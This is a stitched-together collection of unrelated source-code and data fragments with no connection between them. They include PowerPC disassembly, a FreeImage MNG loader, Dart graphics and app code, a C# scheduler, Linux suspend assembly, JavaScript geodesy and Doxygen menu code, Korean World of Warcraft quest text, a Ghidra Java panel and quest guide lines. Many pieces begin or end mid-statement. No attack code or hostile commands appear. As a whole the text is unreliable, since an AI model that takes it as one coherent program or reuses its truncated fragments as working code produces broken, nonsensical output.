/* 80357308 00354108  4B F3 EF 5D */	bl func_80296264
/* 8035730C 0035410C  FE E0 08 90 */	fmr f23, f1
/* 80357310 00354110  C0 22 DF F8 */	lfs f1, lbl_805E46F8@sda21(r2)
/* 80357314 00354114  4B F3 EF 59 */	bl func_8029626C
/* 80357318 00354118  EE E1 05 F2 */	fmuls f23, f1, f23
/* 8035731C 0035411C  C0 22 DF F4 */	lfs f1, lbl_805E46F4@sda21(r2)
/* 80357320 00354120  4B F7 D9 11 */	bl func_802D4C30
/* 80357324 00354124  EC 61 05 F2 */	fmuls f3, f1, f23
/* 80357328 00354128  C0 22 DF BC */	lfs f1, lbl_805E46BC@sda21(r2)
/* 8035732C 0035412C  C0 42 DF C8 */	lfs f2, lbl_805E46C8@sda21(r2)
/* 80357330 00354130  38 61 00 54 */	addi r3, r1, 0x54
/* 80357334 00354134  C0 02 DF FC */	lfs f0, lbl_805E46FC@sda21(r2)
/* 80357338 00354138  38 C1 00 C8 */	addi r6, r1, 0xc8
/* 8035733C 0035413C  EC 42 00 F2 */	fmuls f2, f2, f3
/* 80357340 00354140  D0 21 00 48 */	stfs f1, 0x48(r1)
/* 80357344 00354144  7C 65 1B 78 */	mr r5, r3
/* 80357348 00354148  38 81 00 48 */	addi r4, r1, 0x48
/* 8035734C 0035414C  D0 01 00 4C */	stfs f0, 0x4c(r1)
/* 80357350 00354150  EC 18 00 B2 */	fmuls f0, f24, f2
/* 80357354 00354154  D0 21 00 50 */	stfs f1, 0x50(r1)
/* 80357358 00354158  80 1B 00 0C */	lwz r0, 0xc(r27)
/* 8035735C 0035415C  D0 01 00 10 */	stfs f0, 0x10(r1)
/* 80357360 00354160  54 00 10 3A */	slwi r0, r0, 2
/* 80357364 00354164  80 E1 00 10 */	lwz r7, 0x10(r1)
/* 80357368 00354168  7C 06 04 2E */	lfsx f0, r6, r0
/* 8035736C 0035416C  90 E1 00 14 */	stw r7, 0x14(r1)
/* 80357370 00


src_pixel[x].red, src_pixel[x].green, src_pixel[x].blue);
                        dst_pixel[x] = CLAMP(dst_pixel[x], 0.0F, 1.0F);
                    }
                    src_bits += src_pitch;
                    dst_bits += dst_pitch;
                }
            }
            break;

        case FIT_RGBAF:
            {
                for(unsigned y = 0; y < height; y++) {
                    const FIRGBAF *src_pixel = (FIRGBAF*)src_bits;
                    float *dst_pixel = (float*)dst_bits;

                    for(unsigned x = 0; x < width; x++) {
                        // convert (assume pixel values are in the range [0..1])
                        dst_pixel[x] = LUMA_REC709(src_pixel[x].red, src_pixel[x].green, src_pixel[x].blue);
                        dst_pixel[x] = CLAMP(dst_pixel[x], 0.0F, 1.0F);
                    }
                    src_bits += src_pitch;
                    dst_bits += dst_pitch;
                }
            }
            break;
    }

    if(src != dib) {
        FreeImage_Unload(src);
    }

    return dst;
}
// ==========================================================
// MNG loader
//
// Design and implementation by
// - Herve Drolon (drolon@infonie.fr)
//
// This file is part of FreeImage 3
//
// COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY
// OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES
// THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE
// OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED
// CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT
// THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY
// SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL
// PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER
// THIS DISCLAIMER.
//
// Use at your own risk!
// ==========================================================

#include "FreeImage.h"
#include "Utilities.h"

// ==========================================================
// Plugin Interface
// ==========================================================

static int s_format_id;

// ----------------------------------------------------------

#define MNG_SIGNATURE_SIZE 8    // size of the signature

// ----------------------------------------------------------

// ----------------------------------------------------------
//   mng interface (see MNGHelper.cpp)
// ----------------------------------------------------------

FIBITMAP* mng_ReadChunks(int format_id, FreeImageIO *io, fi_handle handle, long Offset, int flags = 0);

// ==========================================================
// Plugin Implementation
// ==========================================================

static const char * DLL_CALLCONV
Format() {
    return "MNG";
}

static const char * DLL_CALLCONV
Description() {
    return "Multiple-image Network Graphics";
}

static const char * DLL_CALLCONV
Extension() {
    return "mng";
}

static const char * DLL_CALLCONV
RegExpr() {
    return NULL;
}

static const char * DLL_CALLCONV
MimeType() {
    return "video/x-mng";
}

static BOOL DLL_CALLCONV
Validate(FreeImageIO *io, fi_handle handle) {
    BYTE mng_signature[8] = { 138, 77, 78, 71, 13, 10, 26, 10 };
    BYTE signature[8] = { 0, 0, 0, 0, 0, 0, 0, 0 };

    io->read_proc(&signature, 1, MNG_SIGNATURE_SIZE, handle);

    return (memcmp(mng_signature, signature, MNG_SIGNATURE_SIZE) == 0) ? TRUE : FALSE;
}


ly(prog, child, m, stats, uniforms);
  }
}

/// represents a sequence of Scenes.
class RenderPhase extends NamedEntity {
  RenderPhase(String name, this._cgl, [Framebuffer? framebuffer])
      : _framebuffer = framebuffer != null ? framebuffer : Framebuffer.Screen(_cgl),
        super(name);

  late Framebuffer _framebuffer;
  final ChronosGL _cgl;
  final List<Scene> _scenes = <Scene>[];
  int _clear_mode = GL_CLEAR_ALL;

  int viewPortX = 0;
  int viewPortY = 0;
  int viewPortW = 0;
  int viewPortH = 0;

  Framebuffer get framebuffer => _framebuffer;

  void set clearColorBuffer(bool clear) {
    if (clear)
      _clear_mode |= GL_COLOR_BUFFER_BIT;
    else
      _clear_mode &= ~GL_COLOR_BUFFER_BIT;
  }

  void set clearDepthBuffer(bool clear) {
    if (clear)
      _clear_mode |= GL_DEPTH_BUFFER_BIT;
    else
      _clear_mode &= ~GL_DEPTH_BUFFER_BIT;
  }

  void set clearStencilBuffer(bool clear) {
    if (clear)
      _clear_mode |= GL_STENCIL_BUFFER_BIT;
    else
      _clear_mode &= ~GL_STENCIL_BUFFER_BIT;
  }

  void add(Scene s) {
    _scenes.add(s);
  }

  // Draw all scenes in order of registration
  void Draw([List<DrawStats>? stats]) {
    _framebuffer.Activate(_clear_mode, viewPortX, viewPortY, viewPortW, viewPortH);

    for (Scene scene in _scenes) {
      if (!scene.enabled) continue;
      if (!scene.program.enabled) continue;

      List<UniformGroup> uniforms = scene.uniforms;
      final UniformGroup transforms = UniformGroup("transforms");
      uniforms.add(transforms);
      final VM.Matrix4 modelMatrix = VM.Matrix4.identity();
      for (Node node in scene.nodes) {
        drawRecursively(scene.program, node, modelMatrix, stats, uniforms);
      }
      uniforms.removeLast();
    }
  }
}
part of chronosshader;

const String StdVertexBody =
    "gl_Position = ${uPerspectiveViewMatrix} * ${uModelMatrix} * vec4(${aPosition}, 1.0);";

const String StdVertexNormalForward =
    "${vNormal} = ${uNormalMatrix} * ${aNormal};";

const String NullVertexShaderString = """
void main() {
  gl_Position = vec4(${aPosition}, 1.0);
}
""";

const String NullVertexShaderWithTextureForwardString = """
void main() {
  gl_Position = vec4(${aPosition}, 1.0);
  ${vTexUV} = ${aTexUV};
}
""";

const String StdVertexShaderWithTextureForwardString = """
void main() {
  gl_Position = ${uPerspectiveViewMatrix} *
                ${uModelMatrix} *
                vec4(${aPosition}, 1.0);
  ${vTexUV} = ${aTexUV};
}
""";

// No globals, no dependencies on Shader variables
const String StdLibShader = """
// ============================================================
// MISC
// ============================================================

vec3 ColorFromPosition(vec3 pos) {
    return vec3( sin(pos.x) / 2.0 + 0.5,
                 cos(pos.y) / 2.0 + 0.5,
                 sin(pos.z) / 2.0 + 0.5);
}

vec3 RangeToGray(float f, float a, float b) {
    if (f > a) return vec3(1.0);
    if (f < b) return vec3(0.0);
    return vec3 ((f - b) / (a-b));
}


s;
    }

    /// <summary>
    /// Schedules another job to be run with this schedule.
    /// </summary>
    /// <typeparam name="T">Job to run.</typeparam>
    public Schedule AndThen<T>() where T : IJob
    {
        Jobs.Add(JobManager.GetJobAction<T>());
        return this;
    }

    /// <summary>
    /// Runs the job now.
    /// </summary>
    public SpecificTimeUnit ToRunNow()
    {
        return new SpecificTimeUnit(this);
    }

    /// <summary>
    /// Runs the job according to the given interval.
    /// </summary>
    /// <param name="interval">Interval to wait.</param>
    public TimeUnit ToRunEvery(int interval)
    {
        return new TimeUnit(this, interval);
    }

    /// <summary>
    /// Runs the job once after the given interval.
    /// </summary>
    /// <param name="interval">Interval to wait.</param>
    public TimeUnit ToRunOnceIn(int interval)
    {
        PendingRunOnce = true;
        return new TimeUnit(this, interval);
    }

    /// <summary>
    /// Runs the job once at the given time.
    /// </summary>
    /// <param name="hours">The hours (0 through 23).</param>
    /// <param name="minutes">The minutes (0 through 59).</param>
    public SpecificTimeUnit ToRunOnceAt(int hours, int minutes)
    {
        var dateTime =
            new DateTime(DateTime.Today.Year, DateTime.Today.Month, DateTime.Today.Day, hours, minutes, 0);

        return ToRunOnceAt(dateTime < JobManager.Now ? dateTime.AddDays(1) : dateTime);
    }

    /// <summary>
    /// Runs the job once at the given time.
    /// </summary>
    /// <param name="time">The time to run.</param>
    public SpecificTimeUnit ToRunOnceAt(DateTime time)
    {
        CalculateNextRun = x => DelayRunFor > TimeSpan.Zero ? time.Add(DelayRunFor) : time;
        PendingRunOnce = true;

        return new SpecificTimeUnit(this);
    }

    /// <summary>
    /// Assigns a name to this job schedule.
    /// </summary>
    /// <param name="name">Name to assign</param>
    public Schedule WithName(string name)
    {
        Name = name;
        return this;
    }

    /// <summary>
    /// Sets this job schedule as non reentrant.
    /// </summary>
    public Schedule NonReentrant()
    {
        Reentrant ??= new object();
        return this;
    }

    /// <summary>
    /// Disables this job schedule.
    /// </summary>
    public void Disable()
    {
        Disabled = true;
    }

    /// <summary>
    /// Enables this job schedule.
    /// </summary>
    public void Enable()
    {
        Disabled = false;
    }
}


g? get G_lte => _$this._G_lte;
  set G_lte(String? G_lte) => _$this._G_lte = G_lte;

  String? _G_neq;
  String? get G_neq => _$this._G_neq;
  set G_neq(String? G_neq) => _$this._G_neq = G_neq;

  String? _G_nilike;
  String? get G_nilike => _$this._G_nilike;
  set G_nilike(String? G_nilike) => _$this._G_nilike = G_nilike;

  ListBuilder<String>? _G_nin;
  ListBuilder<String> get G_nin => _$this._G_nin ??= new ListBuilder<String>();
  set G_nin(ListBuilder<String>? G_nin) => _$this._G_nin = G_nin;

  String? _G_nlike;
  String? get G_nlike => _$this._G_nlike;
  set G_nlike(String? G_nlike) => _$this._G_nlike = G_nlike;

  String? _G_nsimilar;
  String? get G_nsimilar => _$this._G_nsimilar;
  set G_nsimilar(String? G_nsimilar) => _$this._G_nsimilar = G_nsimilar;

  String? _G_similar;
  String? get G_similar => _$this._G_similar;
  set G_similar(String? G_similar) => _$this._G_similar = G_similar;

  GString_comparison_expBuilder();

  GString_comparison_expBuilder get _$this {
    final $v = _$v;
    if ($v != null) {
      _G_eq = $v.G_eq;
      _G_gt = $v.G_gt;
      _G_gte = $v.G_gte;
      _G_ilike = $v.G_ilike;
      _G_in = $v.G_in?.toBuilder();
      _G_is_null = $v.G_is_null;
      _G_like = $v.G_like;
      _G_lt = $v.G_lt;
      _G_lte = $v.G_lte;
      _G_neq = $v.G_neq;
      _G_nilike = $v.G_nilike;
      _G_nin = $v.G_nin?.toBuilder();
      _G_nlike = $v.G_nlike;
      _G_nsimilar = $v.G_nsimilar;
      _G_similar = $v.G_similar;
      _$v = null;
    }
    return this;
  }

  @override
  void replace(GString_comparison_exp other) {
    ArgumentError.checkNotNull(other, 'other');
    _$v = other as _$GString_comparison_exp;
  }

  @override
  void update(void Function(GString_comparison_expBuilder)? updates) {
    if (updates != null) updates(this);
  }

  @override
  GString_comparison_exp build() => _build();

  _$GString_comparison_exp _build() {
    _$GString_comparison_exp _$result;
    try {
      _$result = _$v ??
          new _$GString_comparison_exp._(
              G_eq: G_eq,
              G_gt: G_gt,
              G_gte: G_gte,
              G_ilike: G_ilike,
              G_in: _G_in?.build(),
              G_is_null: G_is_null,
              G_like: G_like,
              G_lt: G_lt,
              G_lte: G_lte,
              G_neq: G_neq,


.text

/* Originally gcc generated, modified by hand
 *
 * This may not use any stack, nor any variable that is not "NoSave":
 *
 * Its rewriting one kernel image with another. What is stack in "old"
 * image could very well be data page in "new" image, and overwriting
 * your own stack under you is bad idea.
 */

#include <linux/linkage.h>
#include <asm/segment.h>
#include <asm/page.h>

	.text

ENTRY(do_magic)
	pushl %ebx
	cmpl $0,8(%esp)
	jne resume
	call do_magic_suspend_1
	call save_processor_state

	movl %esp, saved_context_esp
	movl %eax, saved_context_eax
	movl %ebx, saved_context_ebx
	movl %ecx, saved_context_ecx
	movl %edx, saved_context_edx
	movl %ebp, saved_context_ebp
	movl %esi, saved_context_esi
	movl %edi, saved_context_edi
	pushfl ; popl saved_context_eflags

	call do_magic_suspend_2
	popl %ebx
	ret

resume:
	movl $swsusp_pg_dir-__PAGE_OFFSET,%ecx
	movl %ecx,%cr3

	call do_magic_resume_1
	movl $0,loop
	cmpl $0,nr_copy_pa


* A), sigmaP, iterLimit = 100;
  let cos2SigmaM, sinSigma, cosSigma, deltaSigma;

  do {
    cos2SigmaM = Math.cos(2 * sigma1 + sigma);
    sinSigma = Math.sin(sigma);
    cosSigma = Math.cos(sigma);
    deltaSigma = B * sinSigma * (cos2SigmaM + B / 4 * (cosSigma * (-1 + 2 * cos2SigmaM * cos2SigmaM)
      - B / 6 * cos2SigmaM * (-3 + 4 * sinSigma * sinSigma) * (-3 + 4 * cos2SigmaM * cos2SigmaM)));
    sigmaP = sigma;
    sigma = s12 / ((a * (1 - f)) * A) + deltaSigma;
  } while (Math.abs(sigma - sigmaP) > 1e-12 && --iterLimit > 0);

  if (iterLimit === 0) {
    return { lat2: NaN, lon2: NaN };
  }

  const tmp = sinU1 * sinSigma - cosU1 * cosSigma * cosAlpha1;
  const lat2 = Math.atan2(
    sinU1 * cosSigma + cosU1 * sinSigma * cosAlpha1,
    (1 - f) * Math.sqrt(sinAlpha * sinAlpha + tmp * tmp)
  );
  const lambda = Math.atan2(
    sinSigma * sinAlpha1,
    cosU1 * cosSigma - sinU1 * sinSigma * cosAlpha1
  );
  const C = f / 16 * cos2Alpha * (4 + f * (4 - 3 * cos2Alpha));
  const L = lambda - (1 - C) * f * sinAlpha
    * (sigma + C * sinSigma * (cos2SigmaM + C * cosSigma * (-1 + 2 * cos2SigmaM * cos2SigmaM)));
  const lon2 = lon1 + L;

  return { lat2, lon2 };
}
/*
 @licstart  The following is the entire license notice for the
 JavaScript code in this file.

 Copyright (C) 1997-2017 by Dimitri van Heesch

 This program is free software; you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
 the Free Software Foundation; either version 2 of the License, or
 (at your option) any later version.

 This program is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 GNU General Public License for more details.

 You should have received a copy of the GNU General Public License along
 with this program; if not, write to the Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

 @licend  The above is the entire license notice
 for the JavaScript code in this file
 */
function initMenu(relPath,searchEnabled,serverSide,searchPage,search) {
  function makeTree(data,relPath) {
    var result='';
    if ('children' in data) {
      result+='
';
      for (var i in data.children) {
        result+='
'+
                                data.children[i].text+''+
                                makeTree(data.children[i],relPath)+'
';
      }
      result+='
';
    }
    return result;
  }

  $('#main-nav').append(makeTree(menudata,relPath));
  $('#main-nav').children(':first').addClass('sm sm-dox').attr('id','main-menu');
  if (searchEnabled) {
    if (serverSide) {
      $('#main-menu').append('

<form id="FSearchBox" action="'+relPath+searchPage+'" method="get"><input type="text" id="MSearchField" name="query" value="'+search+'" size="20" acces


�뿐이야. 이... 이미 죽었을지도 몰라!","카란은 그곳에 포로로 잡혀 있는 것 같네. 가서 그를 찾게! 어떻게 된 것인지 내 꼭 알아야겠네!"}, {"검은바위 나락으로 가서 카란 마이트해머를 찾아야 합니다.","국왕은 카란이 그곳에 포로로 잡혀 있을 것이라고 말했습니다. 그곳 감옥을 찾아보는 것이 좋겠습니다."}},
[4342] = {"카란의 이야기", {"판결을 내리기 전에 내 얘기를 들어 보시오!"}, {"카란 마이트해머가 하는 이야기를 들어야 합니다."}},
[4343] = {"오염된 바람꽃", nil, nil},
[4361] = {"나쁜 소식 전달", {"이 정보를 반드시 마그니 국왕께 전달해야 하오. 그분이라면 어떻게 해야 할지 아실 거요!"}, {"아이언포지로 돌아가 국왕 마그니 브론즈비어드에게 이 나쁜 소식을 전해야 합니다."}},
[4362] = {"왕국의 운명", {"내 오랜 적, 다그란 타우릿산이 내 왕국을 마음대로 주무를 수 있게 돼 버린 것 같네.","그대가 내 마지막 희망일지도 모르는 일이지, <name>. 내 소중한 딸, 모이라를 구출하게!","타우릿산이 모이라에게 건 마법을 확실하게 해제하는 길은 단 한 가지뿐이네. 그를 처치하는 것!","절대 모이라는 해치지 말게! 그 아이는 타우릿산의 조종을 받고 있다는 사실을 명심해야 할 것이네! 모이라가 하는 행동이나 말은 모두 타우릿산이 건 사악한 마법 주문의 결과일 뿐이니!"}, {"검은바위 나락으로 돌아가 제왕 다그란 타우릿산의 사악한 손아귀에서 공주 모이라 브론즈비어드를 구출해야 합니다."}},
[4363]


thReq => 45;
        public override int AosMinDamage => 15;
        public override int AosMaxDamage => 18;
        public override int AosSpeed => 32;
        public override float MlSpeed => 3.50f;

        public override int OldStrengthReq => 45;
        public override int OldMinDamage => 15;
        public override int OldMaxDamage => 18;
        public override int OldSpeed => 32;

        public override int InitMinHits => 31;
        public override int InitMaxHits => 100;

        public override HarvestSystem HarvestSystem => null;
    }
}


 更新选中的媒体库
  Future<void> updateSelectedLibraries(List<String> libraryIds) async {
    await _embyService.updateSelectedLibraries(libraryIds);
    await loadMediaItems();
    await loadMovieItems();
  }

  // 获取媒体详情
  Future<EmbyMediaItemDetail> getMediaItemDetails(String itemId) async {
    // 如果已经缓存了详情，直接返回
    if (_mediaDetailsCache.containsKey(itemId)) {
      return _mediaDetailsCache[itemId]!;
    }

    try {
      final details = await _embyService.getMediaItemDetails(itemId);
      _mediaDetailsCache[itemId] = details;
      return details;
    } catch (e) {
      rethrow;
    }
  }

  // 获取电影详情
  Future<EmbyMovieInfo?> getMovieDetails(String movieId) async {
    // 如果已经缓存了详情，直接返回
    if (_movieDetailsCache.containsKey(movieId)) {
      return _movieDetailsCache[movieId]!;
    }

    try {
      final details = await _embyService.getMovieDetails(movieId);
      if (details != null) {
        _movieDetailsCache[movieId] = details;
      }
      return details;
    } catch (e) {
      rethrow;
    }
  }

  // 将Emby媒体项转换为WatchHistoryItem
  List<WatchHistoryItem> convertToWatchHistoryItems() {
    return _mediaItems.map((item) => item.toWatchHistoryItem()).toList();
  }

  // 将Emby电影项转换为WatchHistoryItem
  List<WatchHistoryItem> convertMoviesToWatchHistoryItems() {
    return _movieItems.map((item) => item.toWatchHistoryItem()).toList();
  }

  // 更新排序设置并重新加载媒体项
  Future<void> updateSortSettings(String sortBy, String sortOrder) async {
    print('EmbyProvider: 更新排序设置 - sortBy: $sortBy, sortOrder: $sortOrder');
    if (_currentSortBy != sortBy || _currentSortOrder != sortOrder) {
      _currentSortBy = sortBy;
      _currentSortOrder = sortOrder;
      print('EmbyProvider: 排序设置已更新，开始重新加载媒体项');
      await loadMediaItems();
    } else {
      print('EmbyProvider: 排序设置未变化，跳过重新加载');
    }
  }

  // 只更新排序设置，不触发媒体重新加载（用于库内容页的外部控制）
  void updateSortSettingsOnly(String sortBy, String sortOrder) {
    print('EmbyProvider: 仅更新排序设置 - sortBy: $sortBy, sortOrder: $sortOrder');
    if (_currentSortBy != sortBy || _currentSortOrder != sortOrder) {
      _currentSortBy = sortBy;
      _currentSortOrder = sortOrder;
      // 不调用 notifyListeners() 以避免触发其他组件重新加载
    } else {
      print('EmbyProvider: 排序设置未变化，跳过更新');
    }
  }

  // 获取流媒体URL（异步，保证含会话参数）
  Future<String> getStreamUrl(String itemId) async {
    return await _embyService.getStreamUrl(itemId);
  }

  // 获取图片URL
  String getImageUrl(String itemId, {String type = 'Primary', int? width, int? height, int? quality}) {
    return _embyService.getImageUrl(
      itemId,
      type: type,
      width: width,
      height: height,
      quality: quality,
    );
  }

  // 保存排序设置到SharedPref


      fadeTimer = new Timer(new Duration(milliseconds: 10), () => fadeMessage());
    }
  }
}library dart_rpg.map_editor_battlers;

import 'dart:html';
import "dart:js";

import 'package:dart_rpg/src/battler.dart';
import 'package:dart_rpg/src/battler_type.dart';
import 'package:dart_rpg/src/encounter_tile.dart';
import 'package:dart_rpg/src/main.dart';
import 'package:dart_rpg/src/world.dart';

import 'package:dart_rpg/src/editor/editor.dart';

import 'package:react/react.dart';

class MapEditorBattlers extends Component {
  void update() {
    this.setState({});
    Editor.debounceExport();
  }

  void onInputChange(Event e) {
    Editor.enforceValueFormat(e);

    Main.world.maps[Main.world.curMap].battlerChances = new List<BattlerChance>();
    for(int i=0; querySelector('#map_battler_${i}_type') != null; i++) {
      try {
        String battlerTypeName = Editor.getSelectInputStringValue('#map_battler_${i}_type');
        int battlerTypeLevel = Editor.getTextInputIntValue('#map_battler_${i}_level', 1);
        double battlerTypeChance = double.parse(
          Editor.getTextInputDoubleValue('#map_battler_${i}_chance', 1.0).toStringAsFixed(9)
        );

        Battler battler = new Battler(
          null,
          World.battlerTypes[battlerTypeName],
          battlerTypeLevel,
          World.battlerTypes[battlerTypeName].getAttacksForLevel(battlerTypeLevel)
        );

        BattlerChance battlerChance = new BattlerChance(battler, battlerTypeChance);
        Main.world.maps[Main.world.curMap].battlerChances.add(battlerChance);
      } catch(e) {
        // could not update this map battler
        print("Error updating map battler: " + e.toString());
      }
    }

    //Editor.updateAndRetainValue(e);
    update();
  }

  void addNewBattler(MouseEvent e) {
    Main.world.maps[Main.world.curMap].battlerChances.add(
      new BattlerChance(
        new Battler( World.battlerTypes.keys.first, World.battlerTypes.values.first, 1, [] ),
        1.0
      )
    );

    update();
  }

  @override
  void render() {
    double totalChance = 0.0;
    for(int i=0; i<Main.world.maps[Main.world.curMap].battlerChances.length; i++) {
      totalChance += Main.world.maps[Main.world.curMap].battlerChances[i].chance;
    }

    List<JsObject> battlerTableRows = [];

    battlerTableRows.add(
      tr({},
        td({}, "Num"),
        td({}, "Battler Type"),
        td({}, "Level"),
        td({}, "Chance"),
        td({}, "")
      )
    );

    for(int i=0; i<Main.world.maps[Main.world.curMap].battlerChances.length; i++) {
      int percentChance = 0;
      if(totalChance != 0) {
        percentChance = (Main.world.maps[Main.world.curMap].battlerChances[i].chance / totalChance * 100).round();
      }

      List<JsObject> battlerTypeOptions = [];
      World.battlerTypes.forEach((String name, BattlerType battlerType) {
        battlerTypeOptions.add(
          option({'value': battlerType.name}, battlerType.n


/// See [Kind] and its subclasses like [ImmutableKind].
library kind;

export 'src/big_int_kind.dart';
export 'src/bool_kind.dart';
export 'src/comparable_kind_mixin.dart';
export 'src/composite_kind.dart';
export 'src/date_time_kind.dart';
export 'src/delegating_kind.dart';
export 'src/duration_kind.dart';
export 'src/enum_kind.dart';
export 'src/enum_like_kind.dart';
export 'src/field_mirror.dart';
export 'src/float_kind.dart';
export 'src/has_kind.dart';
export 'src/immutable_kind.dart';
export 'src/instance_mirror.dart';
export 'src/int_kind.dart';
export 'src/json_decoding_and_encoding.dart';
export 'src/json_decoding_error.dart';
export 'src/kind.dart';
export 'src/list_kind.dart';
export 'src/map_kind.dart';
export 'src/mapper.dart';
export 'src/memory_counter.dart';
export 'src/nullable_kind.dart';
export 'src/polymorphic_kind.dart';
export 'src/primitive_kind_mixin.dart';
export 'src/set_kind.dart';
export 'src/simple_kind.dart';
export 'src/string_kind.dart';
export 'src/trait.dart';
export 'src/tuple2_kind.dart';
export 'src/uint8_list_kind.dart';
export 'src/walkable.dart';
// Copyright 2021 Gohilla Ltd.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

import 'package:collection/collection.dart';
import 'package:meta/meta.dart';

import '../kind.dart';

/// Base class for delegating kind implementations such as [AliasKind].
abstract base class DelegatingKind<T> implements Kind<T> {
  final Kind<T> wrappedKind;

  const DelegatingKind(this.wrappedKind);

  @override
  Type get dartType => wrappedKind.dartType;

  @override
  InstanceMirror get defaultValueMirror => wrappedKind.defaultValueMirror;

  @override
  Equality get equality => wrappedKind.equality;

  @override
  Iterable<T> get examples => wrappedKind.examples;

  @override
  Iterable<T> get examplesThatAreInvalid => wrappedKind.examplesThatAreInvalid;

  @override
  Iterable<T> get examplesWithoutValidation =>
      wrappedKind.examplesWithoutValidation;

  @override
  int get hashCode => wrappedKind.hashCode;

  @override
  bool get isNullable => wrappedKind.isNullable;

  @override
  bool get isPrimitive => wrappedKind.isPrimitive;

  @override
  String? get jsonName => wrappedKind.jsonName;

  @override
  String get name => wrappedKind.name;

  @override
  List<Trait> get traits => wrappedKind.traits;

  @override
  bool operator ==(other) {
    return other is DelegatingKind<T> && wrappedKind == other.wrappedKind;
  }

  @override
  T asType(Object? value) {
    return wrappedKind.asType(value);
  }

  @override
  void checkDeclaration() {
    wrappedKind.checkDeclaration();
  }

  @override
  void checkInstance(Object? value) {
    wrappedKind.che


.ALWAYS)
				.onAction(c -> {
					showTestErrors(tableModel.getLastSelectedObjects().get(0));
				})
				.build();
		addAction(checkAction);

		JPanel paramsPanel = new JPanel();
		paramsPanel.setBorder(BorderFactory.createTitledBorder(DATA_GATHERING_PARAMETERS));
		PairLayout pairLayout = new PairLayout();
		paramsPanel.setLayout(pairLayout);

		JLabel preLabel = new GDLabel(PRE_BYTES_TEXT);
		preLabel.setToolTipText(PRE_BYTES_TIP);
		paramsPanel.add(preLabel);
		preBytesField = new JTextField();
		String preBytes = Preferences.getProperty(PRE_BYTES_PROPERTY, DEFAULT_PRE_BYTES);
		preBytesField.setText(preBytes);
		paramsPanel.add(preBytesField);

		JLabel initialLabel = new GDLabel(INITIAL_BYTES_TEXT);
		initialLabel.setToolTipText(INITIAL_BYTES_TIP);
		paramsPanel.add(initialLabel);
		initialBytesField = new JTextField();
		String initialBytes =
			Preferences.getProperty(INITIAL_BYTES_PROPERTY, DEFAULT_INITIAL_BYTES);
		initialBytesField.setText(initialBytes);
		paramsPanel.add(initialBytesField);

		JLabel factorLabel = new GDLabel(FACTOR_TEXT);
		factorLabel.setToolTipText(FACTOR_TIP);
		paramsPanel.add(factorLabel);
		factorField = new JTextField();
		String factor = Preferences.getProperty(FACTOR_PROPERTY, DEFAULT_FACTOR);
		factorField.setText(factor);
		paramsPanel.add(factorField);

		JLabel maxStartsLabel = new GDLabel(MAX_STARTS_TEXT);
		maxStartsLabel.setToolTipText(MAX_STARTS_TIP);
		paramsPanel.add(maxStartsLabel);
		maxStartsField = new IntegerTextField();
		String maxStarts = Preferences.getProperty(MAX_STARTS_PROPERTY, DEFAULT_MAX_STARTS);
		maxStartsField.setValue(Integer.parseInt(maxStarts));
		paramsPanel.add(maxStartsField.getComponent());

		JLabel contextLabel = new GDLabel(CONTEXT_REGISTER_TEXT);
		contextLabel.setToolTipText(CONTEXT_REGISTER_TIP);
		paramsPanel.add(contextLabel);
		contextRegistersField = new JTextField(DEFAULT_CONTEXT_REGISTERS);
		String cRegs = Preferences.getProperty(CONTEXT_REGISTER_PROPERTY, "");
		if (!StringUtils.isEmpty(cRegs)) {
			contextRegistersField.setText(cRegs);
		}
		paramsPanel.add(contextRegistersField);

		JLabel includeBeforeAndAfterLabel = new JLabel(INCLUDE_PRECEDING_FOLLOWING_TEXT);
		includeBeforeAndAfterLabel.setToolTipText(INCLUDE_PRECEDING_FOLLOWING_TIP);
		includeBeforeAndAfterBox = new JCheckBox();
		String defaultUseBeforeAfter =
			Preferences.getProperty(INCLUDE_PRECEDING_AND_FOLLOWING_PROPERTY, DEFAULT_INCLUDE_PF);
		includeBeforeAndAfterBox.setSelected(Boolean.valueOf(defaultUseBeforeAfter));
		paramsPanel.add(includeBeforeAndAfterLabel);
		paramsPanel.add(includeBeforeAndAfterBox);

		JLabel includeSelectionLabel = new JLabel(INCLUDE_BIT_FEATURES_TEXT);
		includeSelectionLabel.setToolTipText(INCLUDE_BIT_FEATURES_TIP);
		includeBitFeaturesBox = new JCheckBox();
		String defaultIncludeBitFeatures =
			Preferences.getProperty(INCLUDE_BIT_FEATURES_PROPERTY, DEFAULT_INCLUDE_BIT_FEATURES);
		includeBitFeaturesBox.setSelected(Boolean.valueOf(defaultIncludeBitFeatures));
		paramsPanel.add(includeSelectionLabel);
		paramsPanel.add(includeBitFeaturesBox);

		JLabel minFuncLabel = new GDLabel(MIN_FUNC_SIZE_TEXT);
		minFuncLabel.setToolTipText(MIN


speaker.|
A Decompression|QID|26008|RANK|1|M|63.9,59.6|Z|Kelp'thar Forest|N|From Moanah Stormhoof.|
A What? What? In My Gut...?|QID|26040|RANK|1|M|63.9,59.8|Z|Kelp'thar Forest|N|From Gurrok.|
A Come Hell or High Water|QID|25884|PRE|25887|RANK|1|M|64.1,59.8|Z|Kelp'thar Forest|N|From Rendel Firetongue.|
